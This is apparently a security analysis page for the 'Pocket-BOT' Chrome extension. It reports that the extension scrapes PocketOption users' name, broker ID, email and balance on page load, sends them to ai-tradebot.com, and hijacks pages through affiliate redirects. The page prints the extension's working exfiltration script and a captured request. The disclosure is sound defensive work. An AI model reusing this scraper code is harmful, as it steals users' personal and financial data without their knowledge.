Is Pocket-BOT safe?

High risk

Pocket-BOT sends PocketOption profile details and account balance to ai-tradebot.com on page load.

When pages load, Pocket-BOT opens the PocketOption profile UI, reads the user's name, broker ID, email address, and balance, stores some of those values locally, and sends them as query parameters to ai-tradebot.com. A separate content script fetches redirect configuration from ai-tradingbot.ru, then redirects matching PocketOption pages through youlink.biz and writes affiliate cookies.

optionup89v2.4Chrome Web Store
73Risk
Who publishes it

optionup89 - 1 other listing from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
optionup89

Same store account

1 other listing published from this account, 9k+ users between them. 1 of them carries a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

PocketOption Account Profile Sent to ai-tradebot.com

When a page shows a PocketOption-style profile panel, this extension clicks it, reads your name, broker ID, email, and balance, then GETs them to ai-tradebot.com, also used for trading-signal/history endpoints.

Fires on load, unprompted.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You open a page whose DOM matches PocketOption's profile layout while the extension is enabled.

The extension's content script is injected into every page you visit (host permission *://*/*), not just pocketoption.com.

The extension did this

The extension reads your name, broker ID, email, and balance off the page and sends them to ai-tradebot.com.

The request fires from a window-load handler with no visible prompt or notice on the page.

Fields read from the page and sent to ai-tradebot.com
  • Your display name
    Alex Petrov

    The name shown on your trading account profile.

  • Your broker ID
    48213

    A numeric identifier tied to your specific trading account.

  • Your email address
    alex.petrov@example.com

    The email address associated with your trading account.

  • Your account balance
    1245.30

    The current balance shown on your trading profile.

Captured request
GEThttps://ai-tradebot.com/Adminbot/user_add.php?name=Alex+Petrov&broker_id=48213&email=alex.petrov%40example.com&broker=poket&balance=1245.3

The server returned a JSON acknowledgment with a success flag and an access-token-like field, which the extension writes into localStorage as "PD".

The code that does this

Profile read and outbound request in the shipped, unminified content script

Readable version
window.onload = function () {  let buttProfile = document.getElementsByClassName("user-avatar")[0];  buttProfile.click();  let brokerId = document.getElementsByClassName("js-hd")[2];  brokerId = brokerId.textContent;  brokerId = brokerId.replace(/\D/g, "");  let name = document.getElementsByClassName("js-hd")[1];  name = name.textContent;  let email = document.getElementsByClassName("js-hd")[3];  email = email.textContent;  let balanceText = document.getElementsByClassName("js-hd")[4];  balanceText = balanceText.textContent;  localStorage.setItem("user_email", email);  localStorage.setItem("user_name", name);  localStorage.setItem("brokerid", brokerId);  let balance = balanceText;  if (typeof balanceText === "string") {    balance = balanceText.replace(/,/g, "");  }  const balanceNumber = parseFloat(balance);  if (isNaN(balanceNumber)) {    return;  }  const params = new URLSearchParams({    name: name,    broker_id: brokerId,    email: email,    broker: "poket",    balance: balanceNumber,  });  const url =    "https://ai-tradebot.com/Adminbot/user_add.php?" + params.toString();  fetch(url)    .then((response) => response.json())    .then((data) => {      localStorage.setItem("PD", data["dostup"]);    })    .catch((error) => {      console.error(error);    });};
Hosts involved in this data flow
    • pocketoption.com

    The trading platform whose profile page (name, broker ID, email, balance) the extension reads from.

    • ai-tradebot.com

    Receives the account profile at /Adminbot/user_add.php. The same host also gets trading signals and trade history elsewhere, indicating it is the operator's own backend.

What it can do

Permissions this extension asks for, as declared in version 2.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    *://*/*

Where it sends data

Destinations our analysis observed Pocket-BOT contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • ai-tradebot.com

    Pocket-BOT sends data to ai-tradebot.com. No other extension we have analysed sends data here.

  • ai-tradingbot.ru

    Pocket-BOT sends data to ai-tradingbot.ru. No other extension we have analysed sends data here.

  • youlink.biz

    Pocket-BOT sends data to youlink.biz. No other extension we have analysed sends data here.

Updated 30 September 2026nbhkhobdniaddfpanjibgckiohmhgjpo